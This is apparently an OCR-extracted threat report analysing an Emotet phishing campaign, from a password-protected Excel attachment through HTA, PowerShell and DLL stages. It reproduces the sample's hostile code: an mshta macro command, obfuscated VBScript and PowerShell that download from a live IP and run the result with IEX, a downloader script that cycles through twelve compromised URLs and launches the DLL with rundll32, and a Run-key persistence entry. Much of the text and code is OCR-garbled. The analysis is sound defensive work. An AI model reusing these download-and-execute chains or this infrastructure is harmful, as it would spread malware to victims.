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Emotet

Technical Malware Analysis

Overview

NetbyteSEC malware analyst team has come across a Microsoft Excel document containing
a malicious macro code. The suspicious email was received by our client. The malicious
attachment seems to be an Emotet malware that is often used in phishing campaigns.

Emotet is a Trojan that primarily spreads through malicious spam attachments pretending to
be invoices, shipping documents, delivery notification, etc. The attachment may arrive either
via malicious script, macro-enabled document files, or malicious link, which will download the
Emotet excutable upon execution. The Emotet emails may contain familiar branding
designed to look like a legitimate email. Emotet may try to persuade users to click the
malicious file.

The scenario of the analysis is as follows:
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Excel (.xls) containing Powershell script execute in
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malicious macro code memory to download and
execute QWER.dII \QWER dILAADD
Dl B > | )
Victim received cmd.exe mshta.exe QWER.dIl dropped in
spearphishing email http://91.240.118.168/00/aa/se.html C:\ProgramData
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ot e g,
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Set registry HKUNSOFTWARE\Microsoft
\Windows\CurrentVersion\Run for
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rundll32.exe "C:\Users
rundli32.exe 'C\Users\user\AppData\Local ‘\user\AppData\Local\Tzniuzx
\Tzniuzx\kbpfr.rte" DIIRegisterServer \kbpfr.rte" brEyqdn

rundli32.exe "C:\ProgramData
\QWER.dII" DiIRegisterServer

Email analysis

Figure 1: Flow of Emotet Attack

Spearphishing Attachment

Upon opening the victim’s suspicious email attachment. The attachment is encrypted with the
given password "1843". Since the attachment was encrypted, the Google mail server cannot

scan for viruses. It was normal for an organization to encrypt their attachment however, the
receiver should be aware of potential malicious content when received via email.
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Begin forwarded message: i .
= - o Display name Email Address

> F |"-c=:—:-:'_1": Procurement Communication:> _l('.'.ne:-:::sE:’edfﬁ

b1 rsintl. com>|
: January 28, 2022 at 12:05:25 PM GMT+E

-

> untitled 176399.zip
=20

> archive password 1843=20

»>=20

=>=20

> Thank you=20

»>=20

> Group Procurement Communication
> gpcomm@tm.com.my

»>=20

=>=20

——kpple-Mail-ER934100-F343-4CCFP-E8T7R0-9FASEDBASEDS
P

Content-Type: multipart/mixed; boundary=Rpple-Mail-91E6DCAE-05AE-4R51-093E8B-62E80RBB2D402

Content-Transfer-Encoding: 7Tkit

Content-Type: text/html; charset=utf-&

Content-Transfer-Encoding: gquoted-printakle
Figure 2 : Email details
Investigating the email, Netbytesec malware analyst noticed that the attackers used DNS
name spoofing to impersonate their display name as a legitimate user. Also, attached to the
email is an attachment of a zip file containing payload of the attackers.

Malicious document analysis

Further analysis will focus on the malicious document (XLS) used as the lure inside the
password protected zip file.

MDS Hash: 25995b47257212e2e3ca5f7704c9e830
Filename: untitled_176399.xls
File Type: Excel Binary File Format (.xIs)

Upon opening the malicious document, the attacker used a common tactic deployed by
cybercriminals to trick victims to click the “Enable Content” ribbon button display in Microsoft
Excel as shown in Figure 3 below. Unsuspected victim will enable the content macro thus
leading to the malicious script being executed in the background stealthily without the
victim’s knowledge.
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AutoSave ) v v untitled_176399.xls - Compatibility Mode - Excel £ Search (Alt+Q) Sign in | s o X

File Home Insert Pagelayout Formulas Data Review View Help & Share 2 Comments

LE] & Cut Calibri B y 3 25 Wrap Text General v = [F_’j = & =X B LTS < 7Y /O

v Fill v
paste. LBICOPY Conditional Formatas Cell nsert Delete Format 2 Sort& Find &
v <¥ Format Painter

Formatting v Table ¥ Styles v v v v & Clear v Filter v Select v
Clipboard & 5 Alignment [ Number Styles Cells Editing

@ SECURITY WARNING  Macros have been disabled. Enable Content

EMerge&Center v $ v % 9 B 9

] Office 365 B8 Microsoft

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Sheet1 @

Ready 2 Accessibility: Unavailable

Figure 3 : Opening the malicious document
Enabling the content will execute the macro embedded in the lure document which will lead
to malicious macro execution.

Investigating the Excel file, Netbytesec malware analyst found that there is a malicious Excel
4.0 macro stored inside the Excel file.

FILE: untitled 176399.x1ls

Type: OLE

WARNING *** file size (36571) not 512 + multiple of sector size (512)
WARNING *** file size (26571) not 512 + multiple of sector size (512)
VBA MACRO xlm macro.txt

in file: xlm macro - OLE stream: 'xlm macro'

RAW EXCEL4/XLM MACRO FORMULAS:

' SHEET: Macro2, i
' CELL:J17, = Trf(MD.ExE /c ms~hta http:ff91.2“4ﬂ.113.1“63!uu}aai5“e.ht“m‘l']l i}
" CELL:J]24, =HALTYr o

* CELL:J22, None,

' CELL:]18, None,

" CELL:J1%3, None,

CELL:J20, None,
CELL:J21, None,
CELL:J23, None,

EMULATION - DEOBFUSCATED EXCEL4/XLM MACRO FORMULAS:

CELL:117 , PartialEvaluation ;= ("CMD_EXE fc ms~hta http://91.2°40.118.1"68/00/aa/s"e ht"m~1")
CELL:J24 + End . HALT()
sz szsm = e ErEsssszEEmEssEsEssEEsEEEEEEIEEEEsEEEEsEEEEEEEEE +
| Type | Keyword |Description |
B T s
| | EXEC |May run an executable file or a system
| | |command using Excel 4 Macros (XLM/XLF)
| I0C | CMD . EXE |Executable file name |
| |XLM macro |XLM macro found. It may contain malicious |
| | | code |
em - e m s E e . B +

Figure 4 : Results from OleVBA3 against the malicious attachment
As shown in the figure 4 above, the malicious code will try to execute an obfuscated code of
mshta http.//91.240.118.168/oo/aa/se.html via CMD.
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Next, Netbytesec malware analysts perform VirusTotal lookup to check for any further clues
on the IP address found in the VBA macro. It seems that 16 security vendors in VirusTotal
flagged the IP address as malicious as shown in following figure.

1 6 ‘ (_') 16 security vendors flagged this IP address as malicious

S 91.240.118.168 (91.240.118.0/24) RU

9 AS 57523 { Chang Way Technologies Co. Limited ) |

% Community |,
Score
DETECTION DETAILS RELATIONS COMMUNITY o

) Malware

ADMINUSLabs (D) Malicious Avira
BitDefender (1) Malware Comodo Valkyrie Verdict (1) Malware
CRDF (D) Malicious CyRadar

m ici
() Malicious

Dr\Web (D) Malicious ESET (D) Malware
ESTsecurity-Threat Inside (1) Malicious Forcepoint ThreatSeeker (D) Malicious

Fortinet C/ Malware G-Data \_‘/ Malware

Kaspersky Q, Malware Lionic Q, Malicious

Sophos (1) Malicious Webroot (D) Malicious

Figure 5 : 16 security vendors flagged this IP address as malicious.

Futhermore, the community in VirusTotal also mentioned that the IP address is a collection of
IP addresses used for the Emotet malware campaign. This convinces Netbytesec malware
analyst that the IP address found in the Excel 4.0 macro is one of the Indicator of
Compromise for the Emotet campaign.

Once the malicious document (maldoc) opens and enables the macro, the maldoc runs the
macro code and downloads the se.html which contains malicious javascript payload. The
deobfuscated Macro VBA code from the malicious excel document would look like this:

CMD.EXE /c mshta http://91.240.118.168/00/aa/se.html

This malicious code uses mshta.exe which will fetch and execute HTA code in the se.html.
The usage of mshta.exe is a common technique used by malicious attackers to execute
Microsoft HTML Application (HTA) files. Mshta may execute Windows Script Host code
(VBScript and JScript) contained within HTML, as its full name suggests. In this scenario, the
code se.html was a javascript and visual basic scripting payload.

Based on the PCAP analaysis, below figure shows the HTTP request and response to the
server (91.240.118.61) to fetch se.html. We will explain in the next section about what
se.html does in this malicious attachment.
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GET /Joo/aa/se.html HTTP/1.1

Accept-Language: en-MY,en-US5;g=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 18.8; WOWG64; Trident/7.8; .NET4.8C; .MET4.8E; InfoPath.2)
Host: 91.248.118.168

Connection: Keep-Alive

HTTP/1.1 260 OK

Server: nginx/1.20.1

Date: Fri, 28 Jan 2022 ©8:34:35 GMT
Content-Type: text/html; charset=utf-a
Content-Length: 11875

Last-Modified: Thu, 27 Jan 2022 19:84:27 GMT
connection: keep-alive

ETag: "6if2ecbb-2b43"

Accept-Ranges: bytes

Figure 6 : The captured network traffic that is generated by the malicious document.
Upon opening the malicious HTML file (se.html), the HTML page appears to be protected by
HTML Guardian per said by the banner in the display.

The source code of this page is protected by HTML Guardian
The ultimate tool to protect your HTML code, images, Java appiets, Javascripts,

links, keep web content filters away and much more...
www.ProtWare.com

Figure 7 : Opening the se.html through the web browser

Trying to read through the browser's view source file also prevents us from getting more
information regarding what the HTML content. Scrolling down the html file, Netbytesec
malware analyst discovered some HTML code starting at line 65.

<html><head><meta http-equiv="'x-ua-compatible® content='EmulateIES'><script>11l=document.documentMode| |do
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Figure 8 : The content of the html file can be seen started at line 65
Netbytesec malware analyst started to investigate and analyzed the malicious payload
se.html and found the code was obfuscated javascript code.

The figure below shows the obfuscated javascript code that Netbytesec malware analyst
gained from se.html.

111 =winc

igure : Obfucatd avascript se.hml
Inspecting the code can see that the most of the script is used for the display page and only
portion of the code for the malicious payload.

<html xmlns="http://www.w3.0rg/1999/xhtml” >
p <head>..</head>
w <body>
P <script>.</script>
w <table width="100%" border="0">
p <tbody>...</tbody>
</table>
p <script>.</script>
p <script language="VBScript">..</script>
<hta:application id="oHTA" applicationname="Bonjour" application="yes" width="18px"
height="10px"></hta:application>
<span style="visibility:hidden">qweasdzxc</span>
P <script>..</script>
</body>
</html>

Figure 10 : HTML Structure of se.html
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w <script language="VBScript™>
Window.ReSizeTo 0, ©
Window.MoveTo -400@, -4000

CO = " $c3="ad{HgfRrtGdf }{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}
{HgfRrtGdf}g{HgfRrtGadf}
(" "ht{HgfRrtGdf }tp{HgfRrtGdf}://91.240.118.168/00/aa/se.png' ") ' .replace( ' {HgfRrtGdf}",
ey
AE = " -noexit $cl='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRriGdf }w{HgfRrtGdf}-
Obj{HgfRrtGdf }ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}
{HefRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e" .replace( ' {HgfRrtGdf}", "');"
CM = " $c4="bC{HgfRrtGdf}1i{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}
{HgfRrtGdf}t).D{HgfRrtGdf} {HgfRrtGdf }ow{HgfRrtGdf } {HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}
{HgfRrtGdf}o".replace(’ {HgfRrtGdf}", "");"
GN = "I'E'X $II|IT"E"X" + °
GA = "$1I=(%$cl1,%c4,%c3 -Join "');"
AGAGHAAAA = AE + CM + CO + GA + GN
WS = Chr(87) & Chr(83) + "cr” + StrReverse(”.tpi"”) + Chr(83) & Chr(1@4) + "ell”
set HDsdgsdf = CreateObject(Ws)
fdfggdsr = Chr(Chr(49) & Chr(49) & Chr(50)) & Chr(Chr(49) & Chr(49) &
Chr{49))+Chr(Chr(49) & Chr(49) & Chr(57)) & Chr(101)+Chr(114) & Chr(115) &
Chr(104)+Chr(101) & Chr(108)+Chr(108) & Chr(32)
HDsdgsdf.Run fdfggdsr + AGAGHAAAA, Chr(48)
Close
<fscript>
<hta:application id="oHTA" applicationname="Bonjour" application="yes" width="18px"
height="1@px"></hta:application>

<span style="visibility:hidden">gqweasdzxc</span>

Figure 11 : VB script contained in an html file.

Based on figure 11 above, the syntax “Window.ReSizeTo 0,0” refers to nullifying the size of
the script in the webpage. On other hand, ‘visibility:hidden’ hides the appearance of the script
while disabling click-ability on the element.

CO = " $c3="ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf} (" "ht{HgfRrtGdf}tp{HgfRrtGdf}: //91.240.118.1
AE = " -noexit $cl='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-0bj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtodf}t N{HgfRrtGc
CM = " $cd4="bC{HgFRrtGdf}1i{HgfRr1Gdf}{HgfRrtGdf}en{HgfRrtGAF} {HgfRrtGAF}t) . D{HEFRrtGAF } {HEFRrtGAF }ow{HEFRrtGdf } {HgFRrEGdf In1{HgfFR
GN = "I'E'X $II|TE' X" + " "

GA = "$1I=($cl,$cd,%c3 -Join "");"

AGAGHAAAA = AE + CM + CO + GA + GN

WS = Chr(87) & Chr(83) + "cr" + StrReverse(".tpi") + Chr(83) & Chr(184) + "ell"

set HDsdgsdf = CreateObject(Ws)

fdfggdsr = Chr(Chr(49) & Chr(49) & Chr(58)) & Chr(Chr(49) & Chr(49) & Chr(49))+Chr(Chr(49) & Chr(49) & Chr(57)) & Chr(181)+Chr(114

wscript.echo fdfggdsr + AGAGHAAAA, Chr(48)

Windows Script Host

"HDsdgsdf.run fdfggdsr + AGAGHAAAA, Chr(48) #commented

powershell -noexit

Sc1="([HofRtGdf{HIRit GafjNe(Hgl Rt Gaf{HgfRGdfw(HgiRrtGdf}-Ob
HHgfRGarecHgfRItGAN{HgfRAGANt
N{HgfRGAf{HQIRAGAT et[HaIRIG AR WIHGIRAG A HGIRAG dfle  replac
&( HgtRRGar},

Scd="BCHGMRAGAI{HGIRGATHHGIRAG dfjen{HgfRAGAI{HGIRAGAN).
D{HgfRAGAf{HgfRAGdf ow{HgfRGAI{Hgf RGdfiniHgf R Gdf{HgfRrt
Gdf{HgfRriGdflo".replace( {HgfRGAT), "

$c3="ad{Hof Rt Gdf{HgfR G St{Hgf Rt Gdflrin{HgfRGdTHHgRGdflg{
HofRAAGAT( " ht{HgIRG dftp{HOIRIG df)://91.240.118.168/00/aa/se.png"
V.replacel (HgfRrGar}, “}50=(5c1,5¢4,5¢3 Join “LIEX SNIEX O

Figure 12 : Deobfuscated VB script which leads to an obfuscated Powershell command.
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Next, Netbytesec malware analyst start to investigate the script in the HTML file that does
the execution of the obfuscated Powershell commands and able to retrieve the obfuscated
Powershell payload.

Command and Scripting Interpreter: Powershell

The code mentioned in figure 12 are as follow:

PS C:\Users\forensik> $ci="({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf} {HgfRrtGdf }w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf }t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}- {HngrtGdF}e -re
$c4="bC{HgfRrtGdf}11 {HgfRrtGdf} {HgfRrtGdf}en{HgfRrtGdf} {HgfRrtGdf}t) . D{HgfRrtGdf} {HngrtGdf}m{Hngrt(’df){HgFthGdf}n'l {HngrtGdf}{HngrtGdF) {HgfRrtGdf}o".replace(’ {HngrtG AR 5
§<3—(:d{Hgfkr;ﬁdf}{Hngrt;;df}St{HngrtGdF}n n{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf} (" "ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/00/aa/se.png" ") . replace(’ {HofRrtGdf}", **);

JI=(8c1,8c4,8c3 -Join H
echo $11

(New-Object Net.WebClient).DownloadString( http://91.240.118.168/00/aa/se.png"’) I

PS C:\Users\forensik>

Figure 13 : Deobfuscated Powershell code.

From the decoded Powershell, Netbytesec malware analysts looked up the link URL
http://91.240.118.168/00/aa/se.png and found another malicious Powershell script. The
se.png file contains Powershell code as shown in figure below.

Bpath = "C:\ProgramData\QWER.d11";

$urll = "http://farmmash.com/edh2fa/g2Q7Qbgs/";

$url2 = ‘http://karensgardentips.com/cgi-bin/hfpv/";

$url3 = ‘http://centrobilinguelospinos.com/wp-admin/w8528gkQnMPLDUCc/";
$urld = ‘http://unitedhorus.com/wp-content/m3oxVSV2uYW2rbh/";

$url5 = "http://vldispatch.com/licenses/JE6012dfhrk/";

$urlé = ‘http://il-piccolo-principe.com/wp-content/Ua9GvD7acXnDz/";
$url7 = ‘http://hardstonecap.com/well-known/ps9kNMgc6/";

$url8 = 'http://3-fasen.com/wp-content/3B16hBbl/";

$url9 = "http://baldcover.com/wp-admin/oRwkRUWpbJ55/";

$urll® = "http://tastedonline.com/cgi-bin/GOHS0621K1mMém/ " ;
$urlll = ‘"http://wencollection.com/wp-admin/pY6t2bVCOQWEPk7Q/";
$urll2 = ‘http://tombet.net/jmaruk/fd8sVaiAcwcsfMdONH/ " ;

$web = New-Object net.webclient;
$urls = "$urll,$url2,$url3,$urls,$urls5,$urle,$url7,$urls, $url9, $urll1e, $urlll, $urll2" . split(",");
foreach ($url in $urls) {
try {
$web.DownloadFile($url, $path);
if ((Get-Item $path).Length -ge 30000) {
[Diagnostics.Process];
break;
¥
¥
catch{}

¥
Sleep -s 4;cmd /c C:\Windows\Syskowb64\rundll32.exe °'C:\ProgramData\QWER.d11l',6AADD;

Figure 14 : Powershell code from se.png that will downloads malicious DLL from available
website

Based on the figure 14 above, the Powershell script basically will download an executable
from the URLs and execute it using Rundll32.exe.
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Malicious DLL analysis

Signed Binary Proxy Execution: Rundll32

According to the previous Powershell command, the malicious script downloads the
malicious DLL file and saves it at C:\ProgramData folder with name QWER.DLL. Next, the
Powershell command will call cmd.exe to execute RunDLL.exe with QWER.DLL as its DLL

path and "AADD" as its arbitrary export.

Event 1, Microsoft-Windows-Sysmon

General Details

The following information was included with the event:

2022-01-28 08:34:46.923
EV_RenderedValue_2.00

14560
C:\Windows\SysWOW64\cmd.exe

10 0. 19041 746 (WlnBulId 160101.0800)

G d Processor
Microsoft® Windows® Operating System
Microsoft Corporation
Cmd.Exe _— _—
"C:\Windows\system32\cmd.exe" t C:\Windows\stWode\rundll324exe C:\ProgramData\QWERAll AADD |
C:\Users\user\Documents\

DESKTOP-5KVHRD3\user
EV_RenderedValue_13.00
146509

1
Medium

MD5=DOFCE3AFAGAATD58CEIFA336CC2B675B,SHA256=4D89FC34D5FOF9BABD022271C585A9477BF41E834E: 1DEAA0530FDB25E22,IMPHASH=392B4D61B1D1DADC1F06444DF258188A

EV_RenderedValue_18.00

7216

e \W|ndows\SysWOW64\W|ndowsPowerSheII\v1 O\powershell exe
C\

The locale specific resource for the desired message is not present

Figure 15: Powershell execution to run malicious DLL files with arbitrary arguments
As shown in the red box in figure below, at the end of the script, the script will execute the

command to begin the DLL binary execution.

System32\W Shell\v1.0\p hell.exe" -noexit Sc1="({HgfRtGdf{HgfRrtGdfNe{HgfRrtGdf {HgfRrtGdfjw{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf {HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W
(HngrtGdf)(HngrtGdf)e .replace({HgfRrtGdf}, "); Sc4- bC{HgfRrtGdf}Ii{HgfRrtGdf{HgfRrtGdf}en{HgfRrtGdf {HgfRrtGdf}t). D(HngrtGdf}{HngrtGdf)ow(HgithGdf}{HngrtGdf)nl{HngrtGdf){HngrtGdf)(HngrtGdf)o .replace({HgfRrtGdf}, ");
Sc3="ad{HgfRrtGdf{HgfRrtGdf}St{HgfRrtGdf }rin{HgfRrtGdf { HgfRrtGdf }g{HgfRrtGdf}("ht{HgfRrtGdf jtp{HgfRrtGdf}://91.240.118.168/00/aa/se.png ") .replace('{HgfRrGdfY}, ");$)I=(Sc1,5¢4,5¢3 -Join “yIEX SN'EX

$path = "C:\ProgramData\QWER.dII";

Suril = "hitp:f/farmmash.comfedh2fa/g2Q7Qbgs/;

suri2 = "hitp://karensgardentips.com/cgi-bin/hfpv/:

surl3 = 'http://centrobilinguelospinos.com/wp-admin/w8528qk QnMPLDUCS;
$urd = "hitp://uniedhorus.com/wp-content/m3cVSV2uYW2rbh/";
SuriS = ‘hitp://vidispatch.com/licenses/JEEORdFhrk [

$urlé = "hitp://i-piccolo-principe.com/wp-content/UaSGvD7ackKnDzf";
Surl? = http://hardstonecap.com/well- known/ps3kNMgcs™;

surlg = 'http://3-fasen.com/wp-content/3BIChBbW";

surls = "hitp://baldcover.com/wip-admin/oRwk RUWpRbISSS;

Suril0 = 'hitp:/ tastedonline.com/cgi-bin/GOHSOE21KImMEm™;

Surill = ‘hitp://wencollection.com/wp-admin/pYEL2BWVCOQWERK QS
$uri12 = "hitp://tombet.net/jmaruk [fd8sVaiA cwcsfMdONH/;

Sweb = New-Object net.webchent;
Surs = "$urll, $url2, $ur3, $urH, $urs, $urs, $ur?, $urls, $ur, $url10, $urlll, $url2".split(",");
foreach ($urlin $urks) {
try {
$web.DownloadFile(Surl, Spath):
i ((Get-Ttem $path).Length -ge 30000) {
[ Diagnestics.Process];
break;
}

}
catch{}

}
Sleep -3 Il;cmd Je C:\Windows\SysWowsd\ rundliZ2.exe 'C:\ProgramData\ QWER.dII AADD;

Figure 16: DLL execution

"AADD" is the export argument used for executing QWER.DLL. However, the arguments can
be anything and arbitrary as long as it is not empty or null in order to run it as intended. After
that, a second Powershell execution will be triggered.
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Event 1, Microsoft-Windows-Sysmon x

General Details

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

2022-01-28 08:34:48.139
EV_RenderedValue_2.00
4600

C:\Windows\SysWOW64\rundll32.exe
10.0.19041.746 (WinBuild.160101.0800)
\Windows host process (RundlI32)
Microsoft® Windows® Operating System
Microsoft Corporation
RUNDLL32.EXE —
C:\Windows\SysWOWBd\rundIISZ.exi”C:\ongvamData\QWER‘dll",D[IRegi;telSeNev I
C:\Users\user\D
DESKTOP-5KVHRD3\user
EV_RenderedValue_13.00
146509

1
Medium
MD5=889B99C52A60DD49227C5E485A016679,SHA256=6CBEOE1F046B13B29BFA26F8B368281D2DDA7EBIB718651D5856F22CC3E02910,IMPHASH=30B6D4AA5B2B125B0ABCA749B5D12B3A
EV_RenderedValue_18.00

4428

C:\Windows\SysWOW64\rundll32.exe
CA\Wind: y A\rundli32.exe C:\P Data\QWER.dII, AADD

The locale specific resource for the desired message is not present
Figure 17: Rundll32.exe executable running the malicious file with specific arguments,
‘DlIRegisterServer’

The second execution will only run after the first execution of the malicious DLL which
contains arbitrary arguments as a trigger point. The secondary execution contains the real
entry point of the malicious DLL which uses cmd.exe to call Rundll32.exe with the export
arguments of ‘DIIRegisterServer'.

This behavior can be found in the disassembled code where the malware first will decrypt or
unpack their code in the heap and then call the address of the unpacked code at the address
10046FA3 as shown in the figure below.

10046F7fF ... JZ LAB_10046fca

10046f81 ... MOV EAX, dword ptr [EBP + local_48]

1004684 ... MOV this, dword ptr [EAX]

1004686 ... MOV EDX, dword ptr [EBP + local_18]

10046f89 ... ADD EDX, dword ptr [this + 0x28]

10046f8c ... MOV dword ptr [EBP + local_60], EDX

10046f8F ... MOV EAX, [DAT_1006d448]

10046f94 ... PUSH EAX

1004695 ... MOV this, dword ptr [DAT_1006d444]

10046f9b ... PUSH this

10046f9c ... MOV EDX, dword ptr [DAT_1006d440]

10046fa2 ... PUSH EDX

10046fa3 ...| CALL dword ptr [EBP + local_60] | ; Decrypted code. Malicious function
10046fab6 ... v dword ptr [FBP + local_5c), EAX

10046fa% ... CMP dword ptr [EBP + local_5c], 0x0

10046fad ... JINZ LAB_10046fbe

10046faf ... PUSH 0x45a ; DWORD dwErrCode for SetLastError
10046fb4 ... CALL dword ptr [->KERMEL32.DLL::SetLastError]

10046fba . JMp LAB_10046fec

Figure 18: ;i'he sample call the unpacked code

In the unpack/decrypted code, there are two main functions that the subroutine will do. The
first one is to spawn the Rundll32 command and the second part of the subroutine is to exit
the process. When the spawn of the Rundll32 function is being called, it will literally run the
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command with the export name “DIIRegisterServer” which will invoke the “DIIRegisterServer”

export function at the second stage.

In the figure 19 below, the sample build up and import CreateProcessW Windows API from
kernel32.dll and runs the function which lead to the command execution of Rundll32

application.

[ . BB CEQ1OMD0 PUsh

L . 68 (2106088 push EB&010C

L1 42| . E& SBCSFEFF call <swb_3I5I09F:

L w7|| . s3ca 2@ acd e5p,

L L . FFT5 @8 push dword pir ss:[ebp-a] 1pPrecessinformation

oo . FF75 28 push dword prr ss:febps 28] LpStartuptnfo

Cr 87 push LpCurrent Directary

L L 5T puskh LpEnvironsent

L 57 push edi dwCreat ionFilags

.o FFTS & push dword ptr ss:febprss] bInheritHandles

e 57 push edi LpThreadattributes

L[ 57 push edi lpProcessitributes

® B3266858 56 |piash st jlpCommandLine
] FF75 &0 push dword pir ss:[ebprsd lpagplicat ioniase

B FFOD EALT eax Kerneli2.CreateProcessw

L L 3F pe

"o [ pop

L L BBES o

L 50 pop

.o 1 ret

=] =«

#31=03252532

|
W3I2G66656 <sub_I2667HL=BC>

-~ Show FPU
EAX 76502850 <kernelil.CreateProcessns
EBX S0200000
ECX SOQABSD9
EDX 03330000
EBP  Q2CDE910
Ese S2CDESDD
ESI  ®3292932
EDI 00000000
0]

EFLAGS 00000202
IFQ PF O AF D
OF @ SF@ OF @
CFé TF@ IF i

LastError 00000000 (ERROR_SUCCESS)

LastSiatus CODOODIL (STATUS OBJECT_NAME_WOT_FOU

|«

» [y —

1i [espra] 000RDE00
2: [espeB] 00O0DO0Q
A [esper] 00000000
4t [esp+10] QOBORDRD

Foewl  @Ebumol  @0we)  Eouwod  BS0wos BB wesa del oo [ o2co: oo EEECECER
i e ] 4 B .| DoDa0And
B3282532 (43 00 3A 00 |5C 09 57 09 69 B0 6E OO |64 B0 GF 02 |C.:.\.W.1.m.d.0. 00000000
V3IFAr9L2 (7T 00 T3 00 (5C 00 53 0079 00 73 0057 o NN NN ) | pono0o0d
03FFrF52 |57 00 36 00|34 00 5C 20 T2 00 75 OO |GE 00 64 00 |W.6.4.\.T.u.n.d. f4 00000000
03792962 [BC 09 6C 0933 09 32 00|2E 00 63 00|75 O BOBH0H0D
QIFFITTT |20 00 22 00 |A3 0 3A 00 SC 0D 55 00|73 @0 6 OICOEYED
Q3reres2 |72 00 73 00 |5C 00 55 00 73 20 65 00|72 @0 3C 0d|r.s.N.U.s.e.rh. GAAWIndows \Sys WOWE4rundlIZ exe “C:\Path of DLLGHER O, DiffegiserServer o DICOETAL
03707097 |4k 00 65 00|73 00 6B 00|74 DO 6F 00|70 @ 00000000
03792942 |71 00 T7 00|65 00 T2 0D 2E 0D 64 00 | 6C 03291932
©IF9rI02 (22 00 2C 00|44 00 6C 00 [6C B0 52 00|65 O 00639852
VIFTFICT |6 D0 T3 00 |TE 00 65 00|72 00 53 00|65 O D OO0
03292502 |FET0RTES 08 F T \ | DOBETIES
QIIDIER|SC 00 53 00 0OBIAFEL
032925F2| 34 00091159
:;i:i:ﬁ OFCOETAC
e B 4 03259901 & o sub_3r597 L

ol D G300 - SRR (SR000000AS by

Figure 19: QWER.DLL sample import CreateProccessW Windows API

Drilling down the inner code of the export DIIRegisterServer will gave us a clue what does
the function does. The first subroutine in the function will do the unpacking process of the

code into an allocated memory and return the address in EAX register. The address then will

be invoke at line 0x710045da0 as shown in following figure.
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DllRegisterServer

10045d30 ... PUSH EBP

10045d31 ... MOV EBP, ESP

19045d33 ... 5SUB ESP, Oxlc

10045d36 ... MOV EAX, [DAT_100695e8]

10045d3b ... XOR EAX, EBP

10045d3d ... MOV dword ptr [EBP + local_c], EAX
10045d40 ... MOV byte ptr [EEF + local_20], 0x&&
10045d44 ... MOV byte ptr [EEF + local_1f], @x6c
10045d48 ... MOV byte ptr [EEF + local_1e], @x6c
10045d4c ... MOV byte ptr [EEF + local_id], @x52
10045d50 ... MOV byte ptr [EBP + local_ic], @x65
10045d54 ... MOV byte ptr [EBP + local_1ib], 0x67
10045d58 ... MOV byte ptr [EBP + local_ia], @x69
10045d5¢c ... MOV byte ptr [EBP + local_19], @x73
10045d60 ... MOV byte ptr [EBP + local_18], @x74
10045d64 ... MOV byte ptr [EBP + local_17], 0x65
10045d68 ... MOV byte ptr [EBP + local_16], ex72
10045d6c ... MOV byte ptr [EBP + local_15], 0x53
10045d70 ... MOV byte ptr [EBP + local_14], 0x65
10045d74 ... MOV byte ptr [EBP + local_13], ex72
10045d78 ... MOV byte ptr [EBP + local_12], @x76
10045d7¢ ... MOV byte ptr [EBP + local_11], @x65
10045d80 ... MOV byte ptr [EBP + local_1@], @x72
10045d84 ... MOV byte ptr [EBP + local_f], ox@
10045d88 ... LEA EAX=>local_20, [EBP + -0dxlc]
10045d8b ... PUSH E

10045dBc ... MOV dword ptr [DAT_1@@6d44c]

10045d92 ... PUSH ECX

10045d93 ... MOV ECX, DAT_lo0@ed&a3e

10045d98 ... CALL FUN_10855780 i Unpack code and return address to eax
10045d9d ... MOV dword ptr [EEP + local_8], EAx

10045da0 ... CALL dword ptr [EEP + local_8] i 3 Call the unpack code

10045da3 ... XOR EAX, EAX

10045das . MOV ECx, dword ptr [EEP + local_c)

Figure 20: DIIRegisterServer code

In this unpacked section, the malware makes the connection to three different C2 IP
addresses which will be explained in section TAOO1T Command and Control in the next
section ahead.

Registry Run Keys / Startup Folder

After the malware attempts to register at startup of the windows as persistence mechanism,
it will move and rename QWER.DLL to a new path with a new arbitrary name of DLL and
new arbitrary arguments. It will register on HKEY-USERS that contains user-specific
configuration information for all currently active users on the computer.

General Details

The description for Event ID 13 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is
corrupted. You can install or repair the component an the local computer.

If the event originated on another computer, the display information had to be saved with the event.
The following information was included with the event:

T1060, RunKey

SetValue

2022-01-28 07:43:35.059

EV_RenderedValue_3.00

7012

I\ Windows\ SysWOWES, rundll 32 exe

HKU\S-1-5-21-1829722740-1287344585- 2334727426~ 100 \SOFTWARE\Microsoft\Windows\CurrentVersion\ Run\rgjcvpkn.ugg
CAWindows\SysWOWBH\ rundli32.exe "C:\Users\user\AppDatat Local\Waagnrkbinomed\rajcvpkn.ugg”, Y htfVYWY ldqGK

The message resource is present but the message was not found in the message table

Figure 21: Malware attempt to register at startup of the windows as persistence mechanism,
with alongside new binary with new arguments at new path
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The persistence of the malware is set up to be running when the victim starts up their
machine through Windows Registry’s register at
HKEY CURRENT _USER\Software\Microsoft\Windows\CurrentVersion\Run.

Evertt 1, Microscdt-Windews-Sysmen

General Details

component on the local computer,
if the event originated on ancther computer, the display information had to be srved with the event.

The follawing information was included with the event:

(2022-01-28 (8:34:53.081
EV_RenderedValue_2.00

5208

I\ Windows\SysWOWSS rundii32 exe
10015041746 (WanBuild. 160101.0800)
(Windows host process (Rundl32)
